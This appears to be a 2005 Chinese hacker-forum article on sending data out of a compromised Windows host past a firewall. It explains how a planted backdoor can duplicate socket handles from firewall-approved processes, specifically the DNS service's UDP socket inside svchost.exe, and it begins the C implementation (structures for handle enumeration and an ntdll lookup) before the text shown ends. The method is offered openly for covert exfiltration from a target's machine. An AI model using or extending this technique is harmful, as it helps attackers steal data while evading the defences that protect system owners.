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一种新的穿透防火墙的数据传输技术

使用该技术背景:

在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大。其他情况“严重”不推荐使用该技术(后面我会讲到为什么)。

针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦。相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦。所以,我的思路很简单:将其他进程中允许数据传输的套接字句柄拿为已用。

过程如下:

1. 找出目标进程

2. 找出SOCKET句柄

2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用

3. 用转换后的SOCKET进行数据传输

上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论),而且从上面的实现方法也可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP。针对不同系统不同进程我们很难定位一个稳定的进程SOCKET。

看到上面这些,你有点丧气了对不对,哈哈。 再想一想,其实我们有一条真正的通罗马的“黄金大道”。

我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS。你能想像域名解析数据都被拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀。

下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子。编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请细看注释部分。

CODE:

/*++



Made By ZwelL

[email]zwell@sohu.com[/email]

2005.4.12

--*/



#include <winsock2.h>

#include <stdio.h>

#include <wtsapi32.h>



#pragma comment(lib, "ws2_32")

#pragma comment(lib, "wtsapi32")



#define NT_SUCCESS(status)       ((NTSTATUS)(status)>=0)

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)



typedef LONG   NTSTATUS;



typedef struct _SYSTEM_HANDLE_INFORMATION

{

  ULONG         ProcessId;

  UCHAR         ObjectTypeNumber;

  UCHAR         Flags;

  USHORT         Handle;

  PVOID         Object;

  ACCESS_MASK     GrantedAccess;

} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;



typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);



ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;



BOOL LocateNtdllEntry ( void )

{

  BOOL   ret       = FALSE;

  char   NTDLL_DLL[] = "ntdll.dll";

  HMODULE ntdll_dll   = NULL;

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